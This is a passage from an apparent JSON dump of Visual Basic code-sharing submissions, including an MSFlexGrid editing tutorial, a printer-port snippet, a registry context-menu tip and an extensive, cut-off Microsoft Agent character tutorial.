rs.Update \n \n 'Move to the last record so that we \n ' can get the employee ID. \n rs.MoveLast \n \n 'The format: AddItem String, Index \n ' the string is whatever message goes in the \n ' first column. The Index is row where \n ' the new row is inserted. If left blank \n ' the row is adding onto the end. \n fg.AddItem \"\" \n \n 'Put the Employee ID in the table. \n ' Go to the last row and first column. \n fg.Row = fg.Rows - 1 \n fg.Col = 1 \n \n 'Add the EmployeedID. Note that a permanent \n ' record has been created in the database. \n ' If nothing is typed in the fields then \n ' a record exists with just an employee id. \n \n fg.Text = rs.Fields(\"EmployeeID\").Value \n \n 'Call the MoveTextBox Procedure. It has not \n ' been written yet. \n Call MoveTextBox \nEnd Sub \n \nC. Go to the declarations section and add thefollowing declarations.\n\n \n Dim mblnLoaded As Boolean \n Dim mblnMouse As Boolean \n \n mblnLoaded is going to be used to load the grid. \n mblnMouse is going to be used to determine if a cell has been clicked on. \n \nD. Now go to the Form_Load event. Before the the call to LoadGrid, set mblnLoaded to false. \nAfter the call to LoadGrid, set mblnLoaded = True. It should look like the\nfollowing.\n\n \n mblnLoaded = False \n Call LoadFG \n mblnLoaded = True \n \nThis is necessary in order to keep the cell from being filled\nwith null values with the EnterCell and LeaveCell events coming up. \n \n \nE. Program in the MoveTextBox Procedure. \n \nPrivate Sub MoveTextBox() \n 'This procedure moves a textbox over the \n ' selected cell, makes it visible, sets \n ' its text equal to the cell's text, & \n ' gives it the focus. I got the idea \n ' for this from: \n ' www.msdn.microsoft.com \n \n 'Make the textbox visible. \n txtCell.Visible = True \n \n 'Move the text box over the selected cell. \n Dim inthold \n inthold = fg.Row \n inthold = fg.Col \n \n txtCell.Left = fg.Left + fg.CellLeft \n txtCell.Top = fg.Top + fg.CellTop \n txtCell.Height = fg.CellHeight \n txtCell.Width = fg.CellWidth \n \n 'Set the text in the textbox equal to the \n ' text in the selected cell. \n txtCell.Text = fg.Text \n \n 'Activate the cell. \n txtCell.SetFocus \n If Len(txtCell.Text) > 0 Then \n txtCell.SelStart = 0 \n txtCell.SelLength = Len(txtCell.Text) \n End If \n \n 'The following line will be important later. \n ' If two controls occupy the same space, \n ' Zorder describes which control is on top. \n ' Zorder (0) brings a control to the front. \n txtCell.ZOrder (0) \nEnd Sub \n \nF. Add the following five procedures. \n \nPrivate Sub fg_EnterCell() \n 'First \n \n 'Do not manipulate cell values until \n ' the grid is loaded. \n If mblnLoaded = True Then \n \n'Assign cell value to the textbox \n txtCell.Text = fg.Text \n End If \nEnd Sub \n \nPrivate Sub fg_LeaveCell() \n 'Second \n \n 'Do not manipulate cell values until \n ' the grid is loaded. \n If mblnLoaded = True Then \n \n'Assign textbox value to the cell \n fg.Text = txtCell.Text \n txtCell.Text = \"\" \n End If \nEnd Sub \n \nPrivate Sub fg_MouseDown(Button As Integer, Shift As Integer, _ \n x As Single, y As Single) \n 'Third \n \n 'If the mouse is clicked set mblnMouse to True. \n mblnMouse = True \n \n 'Assign the textbox with the cell value. \n fg.Text = txtCell.Text \n \n 'Move the textbox to the desired postion. \n MoveTextBox \nEnd Sub \n \nPrivate Sub txtCell_KeyDown(KeyCode As Integer, Shift As Integer) \n 'Fourth \n \n 'This procedure will allow the user to leave \n ' a cell with the enter key. \n If KeyCode = 13 Then \n SendKeys \"{TAB}\" \n End If \nEnd Sub \n \nPrivate Sub Form_Activate() \n 'Fifth \n \n 'The procedure set the focus to the first \n ' cell when the form activates. This \n ' could be inconvienent if the user changes \n ' forms while leaving this one open. Boolean \n ' variables could be used to avoid this. \n fg.Col = 1 \n fg.Row = 1 \n MoveTextBox \nEnd Sub \n \n'G. Enter the following procedure. Basically this procedure moves the text box when\nyou tab. \n \nPrivate Sub Txtcell_LostFocus() \n \n 'This sub has not been programmed yet. \n ' It will be programmed next. \n Call SaveRecord \n \n 'If the user clicks on a cell, go \n ' to the cell. See the MouseDown \n ' Proc earlier. Leave. \n If mblnMouse = True Then \n mblnMouse = False \n Exit Sub \n End If \n \n 'Move to the new column and send the \n ' text box there. \n \n 'If you're not at the end of the column, \n ' move to next column. \n If fg.Col <= fg.Cols - 2 Then \n fg.Col = fg.Col + 1 \n MoveTextBox \n Else 'If you're at the end of a row, \n ' go to the last row unless you \n ' are on the last row. \n If fg.Row + 1 < fg.Rows Then \n \nfg.Row = fg.Row + 1 \n \nfg.Col = 1 \n \nCall MoveTextBox \n End If \n End If \nEnd Sub \n \nH. Enter the SaveRecord Procedure. This procedure saves the record whenever\nyou leave the cell. \n \nPrivate Sub SaveRecord() \n \n 'If the cell and textbox are different, \n ' save the new value. \n If txtCell.Text <> fg.Text Then \n \n Dim intEmployeeID As Integer \n Dim inthold As Integer \n \n 'Hold the current col position. \n inthold = fg.Col \n \n 'Move to the first column in order \n ' to get the Employee ID. \n fg.Col = 1 \n intEmployeeID = fg.Text \n \n 'Move back to the original column. \n fg.Col = inthold \n \n 'Assign the text from the textbox to \n \n' the cell. \n fg.Text = txtCell.Text \n \n 'Find the record with the specified \n ' employee id. \n rs.MoveFirst \n rs.Find (\"EmployeeID Like '\" & intEmployeeID & \"'\") \n \n 'Change the value and save the record. \n rs.Fields(fg.Col - 1).Value = fg.Text \n rs.Update \n End If \nEnd Sub \n \nRun the program now. Click on a cell and scroll. You will notice that the cell moves and the\ntext box stays where it is. This is unacceptable. so lets fix it. \n \nI. The following procedure will take care of this problem. \n \nPrivate Sub fg_Scroll() \n \n 'Whenever a scroll occurs, automatically \n ' put txtCell on top. \n txtCell.ZOrder (0) \n \n 'If the current cell is scrolled off screen \n ' then put it behind the grid. \n If fg.ColPos(fg.Col) < 0 Then \n txtCell.ZOrder (1) \n ElseIf fg.ColPos(fg.Col) > 4500 Then \n txtCell.ZOrder (1) \n Else 'If the current cell comes back \n ' on the screen bring it to \n ' the front. \n txtCell.Left = fg.CellLeft + fg.Left \n End If \nEnd Sub \n \nAnother problem has arisen since we started using the floating text box. Run the program\nand sort a column. The text box does not move or contain the value of the cell that it is over after the sort is performed. \n \nJ. Fix the Sort Problem by going to the mnuEditSort_Click Procedure and inserting \nthe following two lines after fg.Sort = 1 \n \n fg.Row = 1 \n Call MoveTextBox \n \n \n \n\n<h3 align=\"left\">Afterward: \n</h3>\nThis project took a lot longer than I presumed\nit would. My goal was to make this table look and behave like an Access table. It is\nclose now but still has many features to be added. If I have time I may\nadd these. \n \nThe project took a while because every time I added a new feature, it would affect another part\nof the program. This led to many changes and revisions. I think that the the version that I have now\nworks fairly well. There are some features that I did not get to such as cutting\ncolumns or rows and pasting them at a different position. \n \nThere are also some features that I did not know how to implement. I could not import pictures\nfrom a database into the FlexGrid correctly (which would be a cool feature). I would also\nlike to be able to cancel an add new record correctly. In Access with autonumber, the\nrecord number will not be saved until another \nfield is completed. It would be a great help if someone would post solutions to these problems. \n \n\n\n \n<a href=\"mailto:jerry_m_barnes@hotmail.com\">jerry_m_barnes@hotmail.com</a>\n\n </td>\n </tr>\n</table>\n<h1 align=\"center\"> </h1>\n</body>\n</html>\n"},{"WorldId":1,"id":13798,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13791,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12410,"LineNumber":1,"line":"Dim printString as String\nprintString = \"Sample Raw Data\"\nOpen \"LPT1:\" For Output Access Write As #1\n Print #1, printString\nClose #1"},{"WorldId":1,"id":22560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23241,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23233,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":14480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10738,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32001,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":11393,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33930,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23988,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27581,"LineNumber":1,"line":"Ok, now follow this and you will have no problems\nopen regedit \nbrowse to the following key\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\*\\shell\\\nyou should notice that there should be a key called something like open2 with a subkey of command. \ncreate a new 'open' key, but increment the number that follows it ... for example 'open3' or 'open4'\nyou should now have something like this \nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\*\\shell\\open3\\\n\nSet this keys default value to the name of the application that you want to use. for example i will create one called 'note pad'\nNow create a subkey to the 'open' key that you just created. call it 'command'. set the default value of the 'command' key to the path and file name of the application that you want to open. \nyou should have something like this as the path to the key\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\*\\shell\\open4\\command\\\nif you want the application to be able to recieve files ... simple place a space and '%1' following the .exe. you should have something like this. \n'c:\\winnt\\system32\\notepad.exe %1'\nClose the registry, go to your desktop and try it out !! \n\n\n"},{"WorldId":1,"id":21234,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22093,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30477,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29862,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29506,"LineNumber":1,"line":"Private Sub Command1_Click()\n LabelFlash Me.Label1, 5, vbBlack\nEnd Sub\nPrivate Sub Form_Load()\n\n Me.Label1.ForeColor = vbWhite\n \nEnd Sub\nPublic Function LabelFlash(ByRef lblLabel As Label, _\n ByVal lngCycles As Integer, _\n ByVal lngOffColour As Long) As Integer\n Dim lngOnColour As Long\n Dim lngStart As Long\n Dim lngTick As Long\n Dim lngX As Long\n \n ' Get the starting colour\n lngOnColour = lblLabel.ForeColor\n \n ' Get the starting time rounded to seconds\n lngStart = Round(Timer, 0)\n \n DoEvents\n While Not Round(Timer, 0) > (lngStart + lngCycles)\n If Round(Timer) > lngTick Then 'only kick over if a second has passed\n DoEvents\n ' Swap the on and off colours\n lblLabel.ForeColor = IIf(lblLabel.ForeColor = lngOffColour, lngOnColour, lngOffColour)\n lngTick = Round(Timer, 0)\n End If\n Wend\n ' Go Back to original colours\n lblLabel.ForeColor = lngOnColour\n \nEnd Function\n"},{"WorldId":1,"id":10759,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12102,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":13423,"LineNumber":1,"line":" \nMs Agent -\nBeyond the Basics \n \nIntroduction\nThis is my fifth tutorial on Ms Agent. In\nthis tutorial I went beyond the basics, so even advanced VB coders will be able\nto use some of this code. This tutorial is VERY EXTENSIVE, but beginners never\nfear - as this tutorial is based on my other acclaimed tutorials for beginners,\nyou will be able to understand this tutorial with ease.\n \nUnderstanding this tutorial\nThrough out this tutorial you\nwill see text like this - italic text and green\nitalic text . The normal italic\ntext means that the text is code and can be copied and pasted straight into\nyour application. The green italic\ntext means that the text is a\ncomment (you will often see this type of text beside code) that was place to\nshow you how to do something or to give you an example.\n \nIndex\nGetting Started\n- Provides all the data you need to jump start your Agent application\nDeclaring the Character\nFile - Shows how to declare the\nCharacter file for use in VB\nInitializing the\nCharacter - Shows how to initialize the Character file\nDisplaying Various\nAnimations - Shows how to get the Character to display\nvarious animations\nUsing Ms Agent With\nVB Script - Shows you how to use Ms Agent with VB Script\nEvents and\nProperties of the Agent Control - Describes the Events and\nProperties of the Agent Control\nFun Agent Code to Add to\nyour Applications - Gives some cool code which makes the Character\ndo some fun things\nExamples of\nHow you can use the Agent Control - Gives some ideas as to\nhow you can use the Agent Control\nFrequently Asked\nQuestions - Various related questions and their answers.\n \n \n \nGetting Started\nIn order to use this tutorial you will need\nMicrosoft Visual Basic 5 or 6 (parts of this tutorial may work in VB 4 if you\nhave Agent 1.5 installed). You will also need the Speech Synthesis libraries\nfrom MSDN along with a Microsoft Agent Character File (*.acs file). \nMS Agent is an ActiveX\ncontrol supplied with Microsoft Visual Basic 5 and 6. It can be used in many\nother ways but the most popular use is for creating 'Desktop Pets'. At the\nmoment there are 4 different characters to chose from - Peedy the Parrot, The\nGenie, Merlin the Wizard and Robby the Robot. In this tutorial I have used\nPeedy the Parrot as an example.\nTo start making your first\nMicrosoft Agent application, open Visual Basic and chose standard exe. Then\nright click the toolbar and add the the Microsoft Agent Control. You will see a\nnew Icon (it looks like a secret agent with sunglasses). Then\ndouble click on the icon on the toolbar to place the control on the form. You\ncan rename this control to whatever you want but in the code I'm going to\ncall it Agent1.\n \n \nDeclaring the Character\nfile\nWe need to to tell VB that we\nare using the character file so we need add the following code to the general\ndeclarations.\nDim char As IAgentCtlCharacterEx 'Declare\nthe String char as the Character file\nDim Anim as String 'Dim\nthe Anim string which we will use later on (declaring this will make it easy for\nus to change the character with ease, later on)\n\nChar.LanguageID = &H409\n'This code is optional. The code\nworked fine without it but we will add it for usability purposes (it sets the\nlanguage ID to English) \n\n \nInitializing the\nCharacter\nWe need to tell VB, who the character is and\nwhere his *.acs file is. So we'll use the following code.\nAnim = \"Peedy\" 'We\nset the Anim String to "Peedy" . You can set this to Genie, or Merlin,\nor Robby too. \n\nAgent1.Characters.Load Anim, Anim & \".acs\" \n'This is how we tell VB where to find the character's acs\nfile. VB by default looks in the <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder for the character file \n\nSet char = Agent1.Characters(Anim) \n'Remember we declared the char string earlier? Now we set\nchar to equal Agent1.Charachters property. Note that the because we used the\nAnim string we can now change the character by changing only one line of code. \n\nchar.AutoPopupMenu = False 'So\nthe Character wont keep displaying it's annoying popup menu every time you right\nclick him. You can now add your own popup menu (see examples).\nChar.Show 'Shows the\nCharacter File (If set to "Peedy" he comes flying out of the\nbackground)\n \nGetting to Know\nThe Different Characters\nAs far as I know, there are 4 different\ncharacters you can use with Ms Agent. You can download them all from the Ms\nAgent Developers Website ( <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n). Although you can configure each character to your own liking, they tend to\nconvey different types of impressions. \nPeedy -\nThe first agent character (I think). He is a temperamental parrot (that's the\nway I see him). I use him mostly to add sarcasm to my apps. Has an (sort of)\nannoying voice - squeaky in parroty sort of way. You use him to some cool stuff\nthough.\n \nGenie -\nCool little guy to add to your apps. Can do some neat stuff too! Use him to add\na touch of class and mystery to your apps. Has an OK voice and has a cool way of\nmoving around.\n \nMerlin -\nYour neighborhood Wizard! Always has the look that he is total control. Also has\na vague look of incomprehension (that's the way I see it!). Useful little dude\nbut I don't like the way he moves around (wears beanie and flies).\n \nRobby -\nProbably the newest addition to the series. Never got down to downloading him\nbut I hear that he is an Robot / Monkey?? \n \nWhat? You don't like any of\nthese characters? Wanna create you're own? It's not easy.. but you can give it a\nshot... Just visit the MSDN page for Ms Agent (check FAQs for web\naddress). \n \nDisplaying Various\nAnimations\nThrough code, we can make the character do\nsome cool stuff. Apart from talking he can do various\ninteresting things. The following code may be pasted into any event in VB (Form_Load,\nCommand1_Click). \n \nShowing the Character\nThis code is used to bring\nthe character on to the screen.\nchar.show\n \nHiding the Character\nThis code is used to hide the\ncharacter (take him off the screen).\nchar.hide\n \nMaking Him Talk\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code for him to say anything. The text appears in a speech\nbubble but can also be heard.\nChar.Speak "Your\nMessage Here" 'Says "Your\nMessage Here"\n \nMaking Him Think\nThe code for this is\nrelatively simple and this works with every character. You\ncan customize this code and make him think of anything. The text appears in a\nthought bubble and cannot be heard.\nChar.Think "Your\nMessage Here" ' "Your\nmessage here" appears in a though bubble\n \n \n \nMaking Him Move To\nSomewhere Else On The Screen\nThis code too is pretty\nsimple and works on every character. You can move him anywhere on the screen be\nchanging the co ordinates. Please note that screen co ordinates vary from\nresolution to resolution. For example on a 640 x 480 resolution monitor 300,500\nis off the screen wile on a 800 x 600 monitor the co ordinates are on the\nscreen.\nchar.MoveTo 300, 300\n'This code will move him to the screen co ordinates\n300,300\nAlso note that in the code 300,300 we\nare referring to the screen as x , y (horizontal , vertical).\n \nMaking Him Stay In His\nRest Pose\nThis code brings him back to\nthe way he was started\nchar.play "Restpose"\n'Note - To get out of the rest pose\nyou will have to use the char.stop function (see below)\n \nMaking Him Stop Whatever\nHe Is Doing\nSometimes you may need to stop the Character\nfrom doing something. This code makes him stop everything and wait.\nchar.stop 'Character\nstops whatever he is doing\n \nMaking Him Read, Write,\nProcess and Search\nThe character can various animations that may\nprove useful in your applications. \nchar.Play "Write" 'The\ncharacter writes for a while and then stops\nchar.Play "Writing" 'The\ncharacter writes until the char.stop function is executed\nchar.Play "Read" 'The\ncharacter reads for a while and then stops\nchar.Play "Reading" 'The\ncharacter reads until the char.stop function is executed\nchar.Play "Process" 'The\ncharacter processes for a while and then stops\nchar.Play "Processing" 'The\ncharacter processes until the char.stop function is executed\nchar.Play "Search" 'The\ncharacter searches for a while and then stops\nchar.Play "Searching" 'The\ncharacter searches until the char.stop function is executed\n \nMaking Him Show Facial\nExpressions\nThe character can show various facial\nexpressions that may be useful in your application.\nchar.play "Acknowledge" 'This\ncode makes the character acknowledge something\nchar.play "Alert" 'This\ncode makes the character look alert \nchar.play "Blink" 'This\ncode makes the character blink\nchar.play "Confused" 'This\ncode makes the character look confused\nchar.play "Decline" 'This\ncode makes the character decline something\nchar.play "DontRecognize" 'This\ncode makes the character look like he doesn't recognize something\nchar.play "Hearing_1" 'This\ncode makes the character look like he is listening (left)\nchar.play "Hearing_2" 'This\ncode makes the character look like he is listening (right)\nchar.play "Hearing_3" 'This\ncode makes the character look like he is listening (both sides)\nchar.play "Hearing_4" 'This\ncode makes the character look like he is listening (does not work on peedy)\nchar.play "Pleased" 'This\ncode makes the character look pleased\nchar.play "Sad" 'This\ncode makes the character look sad\nchar.play "Surprised" 'This\ncode makes the character look surprised\nchar.play "Uncertain" 'This\ncode makes the character look uncertain\n \nMaking Him Look Somewhere\nThe character can look at different angles.\nchar.play "LookDown" 'Looks\nDown\nchar.play "LookDownBlink" 'Looks\nand Blinks\nchar.play "LookDownReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookUp" 'Looks\nUp\nchar.play "LookUpBlink" 'Looks\nand Blinks\nchar.play "LookUpReturn" 'Stops\nlooking and returns to restpose\n \nchar.play "LookRight" 'Looks\nto the Right\nchar.play "LookRighBlink" 'Looks\nand Blinks\nchar.play "LookRightReturn" Stops\nlooking and returns to restpose\n \nchar.play "LookLeft" 'Looks\nto the Left\nchar.play "LookLeftBlink" 'Looks\nand Blinks\nchar.play "LookLeftReturn" 'Stops\nlooking and returns to restpose\n \nMaking Him Do Various\nGestures\nThe character can do various gestures that\ncan be quite useful.\nchar.play "GestureUp" 'Gestures\nUp\nchar.play "GestureRight" 'Gestures\nRight\nchar.play "GestureLeft" 'Gestures\nLeft\nchar.play "GestureDown" 'Gestures\nDown\nchar.play\n"Explain" "Explains\nSomething\nchar.play "GetAttention" 'Gets\nthe users attention\nchar.play "Greet" 'Greets\nthe User (by action)\nchar.play\n"Announce" \nchar.play "Congratulate_1"\n'Congratulates\nuser \nchar.play "Congratulate_2"\n'Congratulates\nuser \nchar.play "DoMagic1" 'Does\nMagic 1 - Can be used with DoMagic2\nchar.play "DoMagic2"\nchar.play "StartListening" 'Starts\nListening\nchar.play "StoptListening" 'Stops\nListening\n \nMaking him Gesture at a\nspecific location on Screen\nUsing the GestureAt property\nyou can get the Character to point at a specific screen co ordinate. More useful\nthan GestureRight and GestureLeft because using this you can point diagonally\ntoo.\nchar.GestureAt 300,300 'Character\npoints at screen co ordinate 300,300\n \n \n \nEvents and\nProperties of the Agent Control\n \nEvents\nUsing the Agent1_IdleStart\nevent to set what the Agent does when He is Idle\nYou can place code in the Agent1_IdleStart\nevent to tell VB what the agent does when he is idle. The\nAgent can do the following idle stuff. Please note that some functions may not\nwork for some characters. You can put the following functions in a loop or just\nlet them run. Also note that some functions cannot be stopped unless the char.stop\ncommand is used. You may also include any other functions in the\nAgent1_IdleStart event.\nchar.play "Idle1_1"\nchar.play "Idle1_2"\nchar.play "Idle1_3"\nchar.play "Idle1_4"\nchar.play "Idle1_5"\nchar.play "Idle1_6"\nchar.play "Idle2_1"\nchar.play "Idle2_2"\nchar.play "Idle2_3"\nchar.play "Idle3_1"\nchar.play "Idle3_2"\nchar.play "Idle3_3" 'This\none works only for Peedy I think! - He listens to music!\n \nUsing the Agent1_Complete\nevent to set what the Agent does when He is finished idling\nThis tells VB what to with the agent once he\nis finished idling. Example -\nchar.play "Restpose"\n'This will put the character in his default rest pose\n \nUsing the Agent1_Click\nevent to Set what happens when the Character is clicked\nYou can place some code in the Agent1_Click\nevent to tell VB what to do when the user clicks on the character. You can\nplace almost any command here. Example -\nchar.play "Alert"\n \nUsing the Agent1_Move\nevent to Set what happens when the Character is moved\nYou can place some code in the Agent1_Move\nevent to tell VB what to do when the user moves the character. You can\nplace almost any command here. Example -\nchar.play "Surprised"\nUsing the Agent1_DragStart\nevent to Set what happens when the user starts to drag the Character\nYou can place some code in the\nAgent1_DragStart event to tell VB what to do when the user starts to drag the\ncharacter. You can place almost any command here. Example -\nchar.play "Think"\n \nUsing the Agent1_DragStop\nevent to Set what happens when the user stops dragging the Character\nYou can place some code in the\nAgent1_DragStop event to tell VB what to do when the user stops dragging the\ncharacter. You can place almost any command here. Example - \nchar.play "Blink"\n \nUsing the Agent1_BalloonHide\nevent to Set what happens when the Character's speech balloon is shown\nUsing this event you can set what happens\nevery time the speech balloon is shown (basically every time the character\nstarts speaking).\n \nUsing the Agent1_BalloonShow\nevent to Set what happens when the Character's speech balloon is hidden\nUsing this event you can set what happens\nevery time the speech balloon is hidden (basically every time the character\nstops speaking).\n \n \n \nProperties\nUsing the SoundEffectsOn\nproperty to switch the Characters sound effects on / off\nUsing this property you can toggle the\ncharacters sound effects on an off. Useful if you want the character to stay\nsilent for a while\nchar.SoundEffectsOn = True Turns\nsound effects on\nchar.SoundEffectsOn = False 'Turns\nsound effects off\n \nUsing the IdleOn\nproperty to toggle the Character's idle mode on / off\nUsing this property you can toggle the\ncharacter's idle mode on an off. \nchar.IdleOn = True 'Sets\nIdle Mode On\nchar.IdleOn = False 'Sets\nIdle Mode Off\n \nUsing the AutoPopupMenu\nproperty to toggle the default (Agent's) popup menu on and off\nUsing this propert you can set the agent's\npopup menu on or off. This menu has only one option (hide) ,so by it is not\nreally useful. If you want a popup menu for your character see the Agent Right\nClick Popup Menu Example (below) on how to create custom popup menus. As you may\nhave noticed, in the 'Initializing the Character' section I have turned off the\nauto popupmenu. Never the less you can use the following code to toggle it on or\noff.\nchar.AutoPopupMenu = True 'Turns\nAuto PopMenu On\nchar.AutoPopupMenu = False Turns\nAuto PopMenu Off\n \nUsing the Connected\nproperty to set whether the Agent is connected to the Microsoft Agent Server\nUsing this you can set whether the control is\nconnected to the Microsoft Agent Server (useful for creating client / server\napplications).\nchar.Connected = True 'Not\nConnected\nchar.Connected = False 'Connected\n \nUsing Ms Agent\nwith VB Script\nMs Agent can be used in VB script too. VB\nscript 2.0 is needed to do so. Here is an example. Using VB script is very\nuseful if you want to include MS Agent on your web page. Please note - I am not\ntoo familiar with VB script so If there are any syntax errors please let me\nknow.\n \nUsing the Connected\nproperty to set whether the Agent is connected to the Microsoft Agent Server\nUsing this you can set whether the control is\nconnected to the Microsoft Agent Server (useful for creating client / server\napplications).\nchar.Connected = True 'Not\nConnected\nchar.Connected = False 'Connected\n \n \nInitializing The Character\nTo initialize the character you will need to\ncontact the Agent Server.\n<SCRIPT LANGUAGE = “VBSCRIPT”>\n<!—-\n \nDim Char 'Declare the String Char\n \nSub window_OnLoad 'Window_Onload\nEvent\n \nAgentCtl.Characters.Load\n"Genie", "http://agent.microsoft.com/characters/v2/genie/genie.acf"\n \n‘Create an object with reference to the character on the Microsoft\nserver \n \nset Char= AgentCtl.Characters\n("Genie") 'Set the the Char string to = The\nAgent Cotnrol\nChar.Get "state",\n"Showing" \n‘Get the Showing state animation\nChar.Show 'Show the\nCharacter\n \nEnd Sub\n -->\n \n</SCRIPT>\n \nSending Requests to the\nServer\nYou will need to send requests to the agent\nserver in order to do certain commands.\n \nDim Request\n \nSet Request = Agent1.Characters.Load ("Genie", "http://agent.microsoft.com/characters<a name=\"_Hlt390052700\">/v2/genie/</a>genie.acf")\n'Sets the request<o:p>\n</o:p>\n\n \nIf (Request.Status = 2) then 'Request is in\nQueue \n'Add your code here (you\ncan send text to status bar or something)<o:p>\n</o:p>\n\n \nElse If (Request.Status = 0) then 'Request\nsuccessfully completed\n'Add your code here (you\ncan do something like display the annimation)<o:p>\n</o:p>\n\n \nEnd If\n \n \nShowing Animations\nIf you are using VB script you will need to\nget the animations from a server using the Get method. For example the\nfollowing code will get all the 'Moving' animations which the character needs.\nAgentCtl.Characters\n("Peedy").Get "Animation", "Moving", True \nAfter an animation is loaded you should be\nable to play it in the usual way.\n \n \nExamples of\nHow you can use the Agent Control\n \nAgent Right Click Popup\nMenu Example\nThis code is very useful if\nyou only want to have the agent visible on the screen and not the form. Now you\ncan set the agent to display a popup menu so that you wont have to display the\nform. To use this you will need a Form called frmMain and in that form a Menu\nItem called mnuMain. mnuMain must have submenus. You can type the following code\ninto the Agent1_Click Event\nif Button =\nvbRightButton then frmMain.popupmenu mnuMain 'This\ncode will display the popup menu only if the user right click son the age\nNow all you have to do is to add submenus and\nfunctions to the mnuMain menu item!\n \nAgent1_IdleStart\nEvent Example\nWhen the user does not click\non or interact with the Agent for a long time it automatically sets itself to\nidle. So you may want to add some functions to make the agent do stuff while the\nuser is not working with him. You may add the following code to the\nAgent1_IdleStart Event -\n10 'Specify line\nnumber so that we can loop back later\nchar.play\n"think" \nchar.play "read"\nchar.play\n"write"\nGoto 10 'Tells VB to\ngo to the line number which was specified earlier\nYou may also want to add the following code\nto the Agent1_Click Event so that the character will stop doing hid idle part\nwhen the user clicks on him - char.stop\n \n \nFun Agent Code to Add to\nyour Applications\nCharacter 'Dive' Code\nExample\nThis is some fun code I\nsometimes use in applications. It creates a cool effect. \nchar.Play \"LookDownBlink\" 'Looks\ndown and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownBlink\" 'Looks down and blinks \nchar.Play \"LookDownReturn\" 'Stops looking down \nchar.Stop 'Stops what he is doing \nchar.MoveTo 300, 700 'Moves him to co ordinates 300,700\n(off the screen!) \nchar.Speak \"Man It's really dark ..inside your monitor!\" 'Speaks \nchar.MoveTo 300, 50 'Move him to co\nordinates 300,50 \nchar.Speak \"Nice to be back!\" 'Speaks \n\nCharacter 'Move Around'\nCode Example\nThis is some fun code I\nsometimes use in applications. It looks really funny on Peedy! Note - you may\nhave to change the screen co ordinates to suite your resolution.\nchar.MoveTo 2000, 300 'Moves\nhim to co ordinates 2000,300 (off the screen!) \nchar.MoveTo 300, 300 'Moves to co ordinates 300,300 (lower\nmiddle of screen) \nchar.Play \"confused\" 'Looks Confused \nchar.Speak \"Nothing like a little flying to clear the head!\" 'Speaks \nchar.Play \"pleased\" 'Looks pleased \n\nCharacter 'Open Notepad'\nCode Example\nThis code makes the character look like he\nis writing in his notepad while you use your notepad.\nchar.MoveTo 50, 1 'Moves\ncharacter to upper left hand corner of the screen \nchar.Speak \"Let's use notepad!\" 'Speaks \nchar.Play \"Writing\" 'Character starts writing \nShell "Notepad.exe", vbNormalFocus 'Opens Notepad\nwith Normal Focus \n\nCharacter 'Grow' Code\nExample\nThis code makes the Character grow big! Looks\nreally cool (you tend to see the pixels though). You can customize the code to\nmake the character any size you want.\nchar.Height = "750" 'Sets\nthe Characters Height\nchar.Width = "450" 'Sets\nthe Characters Width\n \nCharacter 'Shrink' Code\nExample\nThis code makes the Character shrink! Looks\nreally cool (the animations don't look as good though). You can customize the\ncode to make the character any size you want.\nchar.Height = "75" 'Sets\nthe Characters Height\nchar.Width = "25" 'Sets\nthe Characters Width\n \nUsing an Input Box to let\nthe User specify what the Character Says\nThis code is very useful because it lets the\nuser decide what the the character says. \nMessage = InputBox(\"What do you want Peedy to say?\")\n'Sets the Message String to equal the input box. Also sets\nthe input box's heading \nchar.Speak Message 'Speaks out the text in the Message\nString \n\nUsing a Text Box to let\nthe User specify what the Character Says\nThis code is useful to make the character\nread a whole document. You can load text in to a text box and then tell the\ncharacter to read it. The following example requires a text box called Text1.\nif Text1.text <> " " then\nchar.speak text1.text 'Checks to see if the text box is\nempty. If it is not empty then it tells the character to speak the text.\nEnd if\n \nFrequently Asked\nQuestions\nHow do I know if I have a\nMicrosoft Agent Character file(s) on my computer?\nJust goto Start > Find\n> Files or Folders and search for the extension *.acs . If you find any\nsuch files in your <a href=\"file:///C:/Windows/MsAgent/Chars/\">C:\\Windows\\MsAgent\\Chars\\</a>\nfolder then you are luck. If you have a file called Peedy.acs then this tutorial\nwill work. Otherwise just specify Anim = "Your Character's Name).\n \nHey I'm too lazy to go\nsifting through all that... is there some way I can do it through code?\nYes there is a way.. just\nadd this code to a form that has a agent control on it called Agent 1. This code\nwill show a box which has all the character files installed on your computer.\nLook through that and you will know if you have character files or not. Here is\nthe code \nAgent1.ShowDefaultCharacterProperties\n \nI don't have the file(s).\nWhere can I download them from? Are they freeware?\nThe agent files can be freely downloaded, but\nyou are never the less bound by the Microsoft EULA (End User License Agreement).\nFor more information go to the URL specified below. The agent files (inlcuding the character\nfiles) are available for download on <a href=\"http://msdn.microsoft.com/msagent\">http://msdn.microsoft.com/msagent</a>\n \nWhy don't some functions\n(commands) work on some character files?\nSome versions of character files will\nhave more functions, so in order use\nall the functions you may need to get a new character file. For example the char.play\n"Idle3_3" function does not 